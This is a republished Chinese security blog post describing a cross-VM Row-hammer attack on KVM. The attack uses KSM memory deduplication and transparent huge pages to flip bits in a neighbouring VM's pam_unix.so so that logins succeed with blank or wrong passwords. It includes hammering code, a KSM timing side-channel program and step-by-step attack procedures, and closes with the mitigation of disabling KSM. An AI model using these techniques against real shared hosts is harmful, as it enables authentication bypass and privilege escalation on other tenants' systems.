看我如何跨虚拟机实现Row Hammer攻击和权限提升

本文涉及的产品
运维安全中心(堡垒机),免费版 6个月
运维安全中心(堡垒机),企业双擎版|50资产|一周时长
简介:

前言

row-hammer是一种能在物理层面上造成RAM位翻转的硬件漏洞。Mark Seaborn 和Thomas Dullien 两人首次发现可以利用Row-hammer漏洞来获取内核权限。Kaveh Razavi等人通过利用操作系统的“内存重复删除”特性能够有效控制比特位翻转,他们将Row-hammer漏洞利用推向了一个新的台阶。如果他们知道私密文件的内容,那么他们可以利用比特翻转来加载私密文件(比如authorized_keys),并通过削弱authorized_keys文件中的RSA模块,他们能够生成相应的私钥并在共同托管的受害者VM上进行身份验证。

看我如何跨虚拟机实现Row Hammer攻击和权限提升

在这篇文章中,我们的目的是展示不同的攻击情形。在本文我们破坏了正在运行的程序状态,而不是破坏内存加载的文件。libpam是一个很容易遭受攻击的目标,因为它再类unix系统上提供身份验证机制。通过在攻击者的VM中运行row-hammer攻击实例,我们能够通过破坏pam_unix.so模块状态在邻近的受害者VM上成功进行身份验证。在下文中,我们假设两台相邻的虚拟机运行Linux(攻击者VM +受害者VM),而且都托管在KVM虚拟机管理程序上,具体如下图所示:

http://p7.qhimg.com/t01ca8180f978be5750.png

Row-hammer

DRAM芯片由周期性刷新的单元行组成,当CPU对存储器的一个字节请求读/写操作时,数据首先被传送到行缓冲器。在读/写请求执行之后,行缓冲器的内容会被复制回原始行,频繁的读写操作(放电和再充电)可能导致相邻行单元上出现较高的放电率从而引发错误。如果在丢失其电荷之前不刷新它们,则会在相邻的存储器行中引起位翻转。

以下代码足以产生位翻转,该代码从两个不同的存储器行交替读取数据。这种操作是必需的,否则我们只能从行缓冲区读取数据,并且将无法重新激活一行数据,而且还需要使用cflush指令以避免从CPU的缓存中读取数据。Mark Seaborn和Thomas Dullien注意到,如果我们“侵略”其相邻行的数据(行k-1和行k + 1),那么row-hammer效应在受害者行k上将会被放大,具体如下图所示:

row-hammer效应在受害者行k上将会被放大

CHANNELS, RANKS, BANKS AND ADDRESS MAPPING

在包含2个channel的电脑配置中,最多可以插入两个内存模块。一个存储器模块由该模块两侧的存储器芯片组成,而且一个存储器芯片组成一个存储体,一个存储体代表一个存储单元矩阵。下面以我的电脑为例来说明,我的电脑配备了8 GB RAM,具体参数如下所示:

  • 2个channel。
  • 每个channel包含1个内存模块。
  • 每个内存模块包含2个rank。
  • 每个rank包含8个内存芯片。
  • 每个芯片包含8个bank。
  • 每个bank代表2^15行x 2^10列x8 bits。

因此,可用的RAM大小计算如下:


 
 
  1. 2 modules * 2 ranks * 2^3 chips * 2^3 banks * 2^15 rows * 2^10 columns * 1 byte = 8 GB 

当CPU访问一个字节内存时,内存控制器负责执行该读请求。Mark Seaborn已经确定了英特尔Sandy Bridge CPU的物理地址映射机制。该映射与下面给出的内存配置相匹配:

  • 位0-5:字节的低6位用于索引行。
  • 位6:用于选择channel。
  • 位7-13:字节的高7位用于索引列。
  • 位14-16:((addr>>14)&7)^((addr>>18)&7)用于选择bank。
  • 位17:用于选择rank。
  • 位18-33:用于选择行。

正如这篇文章所述,即使CPU请求单个字节,内存控制器也不会寻址芯片并返回8个字节,CPU会使用地址的3 LSB位来选择正确的位。在这篇文章的其余部分,我们将使用上文提供的物理映射机制。

行选择

Row-hammer需要选择属于同一个bank的行数据,如果我们无法将虚拟地址转换为物理地址,那么就无法浏览行数据。假如我们已经知道了底层的物理地址映射,那么怎么可以获取一对映射到同一个bank而不同行的地址呢?实际上,从VM的角度来看,物理地址只是QEMU虚拟地址空间中的偏移量,因此为了达到从VM进行“攻击”的目的,我们只要获取Transparent Huge Pages (THP)就可以了。

THP是一个Linux功能,后台运行的内核线程会尝试分配2 MB的巨大页面。如果我们申请分配一个2 MB大小的缓冲区,那么客户端的内核线程将返回给我们一个THP。主机中的QEMU虚拟内存也是如此,在一段时间后也将被THP替代。正是因为有了THP,我们才可以获得2 MB的连续物理内存,并且一个THP包含了很多行数据,因此我们可以浏览行数据了。

根据先前提出的物理地址映射,由于行数据以MSB位(位18-33)寻址,那么一个THP包含了8*(2*2^20/2^18)行数据。但是,给定行中的地址是属于不同的channels, banks 以及ranks的。

从VM进行Row-hammer攻击

在攻击者VM中,我们尝试分配一个THP缓冲区,对于大小为2 MB的每个内存块,我们通过读取页面映射文件来检查它是否包含在大页面中。然后,对于THP页面中的每两行(r,r+2),我们通过改变channel位和rank位来”敲击”每对地址。但是请注意,物理地址映射中的排列方案使得选择属于同一个bank的地址对具有以下要求:

令( r_i,b_i )表示行i的地址中标识行和存储体的3个LSB位。对于固定channel和rank,我们从行i开始依次“敲击”行j(j=i+2)中满足以下条件


 
 
  1. > r_i^b_i=r_j^b_j 

的地址开始。

对于给定的bank b_i,在8个给定的bank b_j中只有三个满足上述条件,具体如下图所示:

以下是我们优化后的row-hammer代码:


 
 
  1. static int 
  2. hammer_pages(struct ctx *ctx, uint8_t *aggressor_row_prev, uint8_t *victim_row, 
  3.              uint8_t *aggressor_row_next, struct result *res) 
  4.     uintptr_t aggressor_row_1 = (uintptr_t)(aggressor_row_prev); 
  5.     uintptr_t aggressor_row_2 = (uintptr_t)(aggressor_row_next); 
  6.   
  7.     uintptr_t aggressor_ch1, aggressor_ch2 , aggressor_rk1, aggressor_rk2; 
  8.     uintptr_t aggressors[4], aggressor; 
  9.   
  10.     uint8_t *victim; 
  11.   
  12.     uintptr_t rank, channel, bank1, bank2; 
  13.   
  14.     int i, p, offset, ret = -1; 
  15.   
  16.     /* Loop over every channel */ 
  17.     for (channel = 0; channel < ctx->channels; channel++) { 
  18.         aggressor_ch1 = aggressor_row_1 | (channel << ctx->channel_bit); 
  19.         aggressor_ch2 = aggressor_row_2 | (channel << ctx->channel_bit); 
  20.   
  21.         /* Loop over every rank */ 
  22.         for (rank = 0; rank < ctx->ranks; rank++) { 
  23.             aggressor_rk1 = aggressor_ch1 | (rank << ctx->rank_bit); 
  24.             aggressor_rk2 = aggressor_ch2 | (rank << ctx->rank_bit); 
  25.   
  26.             /* Loop over every bank */ 
  27.             for (bank1 = 0; bank1 < ctx->banks; bank1++) { 
  28.                 aggressors[0] = aggressor_rk1 | (bank1 << ctx->bank_bit); 
  29.                 i = 1
  30.                 /* Looking for the 3 possible matching banks */ 
  31.                 for (bank2 = 0; bank2 < ctx->banks; bank2++) { 
  32.                     aggressor = aggressor_rk2 | (bank2 << ctx->bank_bit); 
  33.                     if ((((aggressors[0] ^ aggressor) >> (ctx->bank_bit + 1)) & 3) != 0) 
  34.                         aggressors[i++] = aggressor; 
  35.                     if (i == 4) break; 
  36.                 } 
  37.   
  38.                 /* Ensure victim is all set to bdir */ 
  39.                 for (p = 0; p < NB_PAGES(ctx); p++) { 
  40.                     victim = victim_row + (ctx->page_size * p); 
  41.                     memset(victim + RANDOM_SIZE, ctx->bdir, ctx->page_size - RANDOM_SIZE); 
  42.                 } 
  43.   
  44.                 hammer_byte(aggressors); 
  45.   
  46.                 for (p = 0; p < NB_PAGES(ctx); p++) { 
  47.                     victim = victim_row + (ctx->page_size * p); 
  48.   
  49.                     for (offset = RANDOM_SIZE; offset < ctx->page_size; offset++) { 
  50.                         if (victim[offset] != ctx->bdir) { 
  51.                             if (ctx->bdir) 
  52.                                 victim[offset] = ~victim[offset]; 
  53.                             ctx->flipmap[offset] |= victim[offset]; 
  54.                             ncurses_flip(ctx, offset); 
  55.                             if ((ret = check_offset(ctx, offset, victim[offset])) != -1) { 
  56.                                 ncurses_fini(ctx); 
  57.                                 printf("[+] Found target offset\n"); 
  58.                                 res->victimvictim = victim; 
  59.                                 for (i = 0; i < 4; i++) 
  60.                                     res->aggressors[i] = aggressors[i]; 
  61.                                 return ret; 
  62.                             } 
  63.                         } 
  64.                     } 
  65.                 } 
  66.             } 
  67.         } 
  68.     } 
  69.     return ret; 

关于Row-hammer最后一件有趣的事情是:如果我们针对受害者机器中的行数据进行了位翻转,那么通过重新“敲击”相邻行再现位翻转的可能性就很大。

Memory de-duplication

现在我们知道如何“敲击”,下面我将介绍如何依靠操作系统内存重复数据删除实现在内存中执行位翻转操作。内存重复数据删除在虚拟机环境中尤其有用,因为它显着减少了内存占用。在Linux上,内存重复数据删除由KSM来实现。KSM会定期扫描内存并合并匿名页面(具有MADV_MERGEABLE标记的页面)。

http://s3.51cto.com/oss/201711/05/e03741b5759508182f2d8c7da00f4c20.png

假设我们知道相邻VM中文件的内容,以下是通过利用Row-hammer漏洞和内存重复数据删除功能来修改文件中随机位的主要步骤:

  1. 从攻击者虚拟机“敲击”内存。
  2. 加载内存页面中容易受到位翻转攻击的目标文件。
  3. 加载受害者虚拟机中的目标文件。
  4. 等待KSM合并这两个页面。
  5. 再次“敲击”。
  6. 受害者虚拟机中的文件应该已被修改。

如Razavi等人在其论文所述,THP和KSM可能对Row-hammer造成意想不到的影响。因为THP会合并正常的4 KB页面以形成庞大的页面(2 MB),而KSM会合并具有相同内容的页面。这可能导致KSM打破巨大页面的情况。为了避免这种情况,我们用8个随机字节填充每个4 KB页面的顶部。

处理Libpam程序

给定一个程序P,我们怎么能在程序代码中找到可以改变P输出结果的所有可翻转的bit位呢?对程序P执行逆向分析看似是个不错的想法,可逆向工程太耗费时间了。在本文中,我们使用radare2开发了一个PoC(flip -flop.py),该PoC能够自动捕获程序P的可翻转bit位。该PoC的原理是:我们翻转一些目标函数的每一位,并运行所需的功能,然后检查翻转的位是否影响目标函数的预期结果。我们在pam_unix.so模块(23e650547c395da69a953f0b896fe0a8)的两个函数上运行了PoC,如下图所示:

  • pam_sm_authenticate [0x3440]:执行验证用户的任务。
  • _unix_blankpasswd [0x6130]:检查用户是否没有空白密码。

我们总共发现可17个可以翻转的bit位,利用这些bit位我们可以使用空白或错误的密码执行身份验证操作。

值得注意的是,脚本无法从某些崩溃中恢复。原因是由于r2pipe没有提供任何处理错误的机制,那么当有一些致命的崩溃发生,r2pipe是无法恢复会话的。

开始攻击

我们的目标是在相邻VM中的pam_unix.so模块上运行一个Row-hammer攻击实例。我们首先回顾了绕过受害者VM身份验证机制的主要步骤:

  1. 分配可用的物理内存。
  2. 在内存页面添加一些填充数据,以防止KSM破坏THP页面。我们在每4 KB页面的顶部填充8个随机字节,其余的填充'\xff'以检查方向1-> 0的位翻转(或使用'\0'来检查0->1的位翻转方向)。
  3. 我们在每个TPH页面中”敲击”每对被“入侵”的行,并检查我们是否在受害者行中进行了位翻转。
  4. 如果位触发器与表1的偏移量匹配,则将pam_unix.so模块加载到受害者页面中。
  5. 通过尝试登录来加载受影响虚拟机中的pam_unix.so模块。
  6. 等待KSM合并页面。
  7. 再次“敲击”已经产生相关翻转的bit位,此时受害者VM机器中,内存中的pam_unix.so已被更改。
  8. 操作完毕。

完整的exploit(pwnpam.c)可以在这里找到 。

请注意,漏洞利用不是100%可靠,如果我们找不到可用的位翻转,那么实验将不会成功。

更进一步

漏洞利用并不完全自动,因为在某些时候,我们需要与漏洞利用进行交互,以确保模块已经加载到受害者VM内存中并且其内容已经与攻击者虚拟机中加载的内容合并在一起,这时执行bit位翻转才会成功。

为了能够自动化的进行漏洞利用,可以通过利用KSM中的侧信道定时攻击来改善攻击,该功能使我们能够检测两个页面是否共享。以下代码是文中描述算法的实现,程序首先分配N个缓冲区(每个4096 KB),并用随机数据填充它,代码如下所示:


 
 
  1. #include <stdio.h> 
  2. #include <string.h> 
  3. #include <stdlib.h> 
  4. #include <unistd.h> 
  5. #include <time.h> 
  6. #include <inttypes.h> 
  7. #include <sys/mman.h> 
  8. #include <sys/syscall.h> 
  9. #include <sys/types.h> 
  10.   
  11. #define PAGE_NB 256 
  12.   
  13. /* from https://github.com/felixwilhelm/mario_baslr */ 
  14. uint64_t rdtsc() { 
  15.     uint32_t high, low; 
  16.     asm volatile(".att_syntax\n\t" 
  17.         "RDTSCP\n\t" 
  18.         : "=a"(low), "=d"(high)::); 
  19.     return ((uint64_t)high << 32) | low; 
  20.   
  21. int main() 
  22.     void *buffer, *half; 
  23.     int page_size = sysconf(_SC_PAGESIZE); 
  24.     size_t size =  page_size * PAGE_NB; 
  25.   
  26.     buffer = mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 
  27.     madvise(buffer, size, MADV_MERGEABLE); 
  28.   
  29.     srand(time(NULL)); 
  30.   
  31.     size_t i; 
  32.     for (i = 0; i < PAGE_NB; i++) 
  33.         *(uint32_t *)(buffer + (page_size * i)) = rand(); 
  34.   
  35.     half = buffer + (page_size * (PAGE_NB / 2)); 
  36.     for (i = 0; i < (PAGE_NB / 2); i += 2) 
  37.         memcpy(buffer + (page_size * i), half + (page_size * i), page_size); 
  38.   
  39.     sleep(10); 
  40.   
  41.     uint64_t start, end; 
  42.     for (i = 0; i < (PAGE_NB / 2); i++) { 
  43.         start = rdtsc(); 
  44.         *(uint8_t *)(buffer + (page_size * i)) = '\xff'; 
  45.         end = rdtsc(); 
  46.         printf("[+] page modification took %" PRIu64 " cycles\n", end - start); 
  47.     } 
  48.   
  49.     return 0; 

该程序修改缓冲区前半部分中每个元素的单个字节,并测量写入操作时间。

根据程序输出,我们可以根据执行写入操作所需的CPU周期数,清楚地区分复制页面和非共享页面。

请注意,我们还可以依靠侧信道来检测受害者VM上运行的libpam版本。

在我们的漏洞中,我们假设攻击者VM是在受害者VM之前启动的。此条件可以确保KSM总是通过攻击者控制的物理页面返回合并的页面。正如Kaveh Razavi文章所述,这种情况可以轻松实现,但该解决方案需要更深入地了解KSM的内部原理:KSM通过维护两个红黑树:稳定的树和不稳定的树来管理内存重复数据删除,前者跟踪共享页面,而后者存储合并候选页面。KSM会定期扫描页面,并尝试从稳定树中首先合并它们。如果失败,它会尝试在不稳定的树中找到一个匹配项。如果它再次失败,它将候选页面存储在不稳定的树中,并继续下一页。

在我们的例子中,从不稳定树执行合并,KSM会选择首先注册合并的页面。 换句话说,首先启动的VM会赢得合并。为了放宽这个条件,我们可以尝试从稳定树合并页面。 我们所要做的就是在攻击者VM内存中加载两次pam_unix.so模块,并等到KSM合并这些副本。之后,当pam_unix.so模块加载到受害者虚拟机时,其内容将与已存在于稳定树中并由攻击者控制的副本合并。

结论

尽管Row-hammer攻击是强大和有效的,但它却不再是神话。在这篇博客文章中,我们试图提供必要的工具来实现Row-hammer攻击,而且我们提供了一个漏洞,并允许人们在共同托管的虚拟机上获得访问权限或提升其权限。

最后注意一下,禁用KSM就可以阻止我们的利用了


 
 
  1. echo 0 > /sys/kernel/mm/ksm/run 


原文发布时间为:2017-11-06

本文作者:blueSky

本文来自云栖社区合作伙伴51CTO,了解相关信息可以关注51CTO。


目录
相关文章
|
4月前
|
Ubuntu
【ubuntu】【问题记录】vbox虚拟机无权限访问共享目录
【ubuntu】【问题记录】vbox虚拟机无权限访问共享目录
58 0
|
7月前
|
Oracle 关系型数据库 Linux
解决VMmare虚拟机安装过程没有权限问题
解决VMmare虚拟机安装过程没有权限问题
142 0
|
监控 安全 网络安全
云虚拟主机遭受了跨站注入攻击
云虚拟主机遭受了跨站注入攻击
158 0
|
分布式计算 Java Hadoop
Hadoop运行环境搭建(开发重点一)、模板虚拟机环境准备、卸载虚拟机自带的JDK、安装epel-release、配置summer用户具有root权限,方便后期加sudo执行root权限的命令
安装模板虚拟机,IP地址192.168.10.100、主机名称hadoop100、内存4G、硬盘50G、hadoop100虚拟机配置要求如下(本文Linux系统全部以CentOS-7-x86_64-DVD-2009为例)、使用yum安装需要虚拟机可以正常上网,yum安装前可以先测试下虚拟机联网情况、注意:如果Linux安装的是最小系统版,还需要安装如下工具;如果安装的是Linux桌面标准版,不需要执行如下操作、创建summer用户,并修改summer用户的密码、在/opt目录下创建文件夹,并修改所属主和所属
Hadoop运行环境搭建(开发重点一)、模板虚拟机环境准备、卸载虚拟机自带的JDK、安装epel-release、配置summer用户具有root权限,方便后期加sudo执行root权限的命令
【Centos7.0】打开虚拟机,提示权限不足
【Centos7.0】打开虚拟机,提示权限不足
286 0
【Centos7.0】打开虚拟机,提示权限不足
|
安全 Cloud Native Shell
攻击与响应:云原生网络安全与虚拟机安全
攻击与响应:云原生网络安全与虚拟机安全
125 0
|
网络安全 弹性计算 安全
巧解决阿里云虚拟主机免费版被DDOS攻击问题
阿里云虚拟主机被DDOS攻击,影响了同机房其它服务器的正常运行,万网为了降低因攻击给服务器及同机房用户造成的安全风险,对您被攻击主机进行了关停处理。如果攻击行为停止,4小时后网站会自动开通。遇到这种情况,一般来说很多服务商给出2种解决方案:
4824 0
|
Web App开发 监控 安全
云计算---记一次黑客攻击openstack创建的虚拟机
一:问题定位 现象:   近期发现有几台openstack云主机被修改密码并被肉鸡。 黑客操作日志: 18-02-01 22:41:26 ##### root tty1 22:41 #### 2018-02-01 22:41:13 top 18-02-01 22:41:26 ####...
1831 0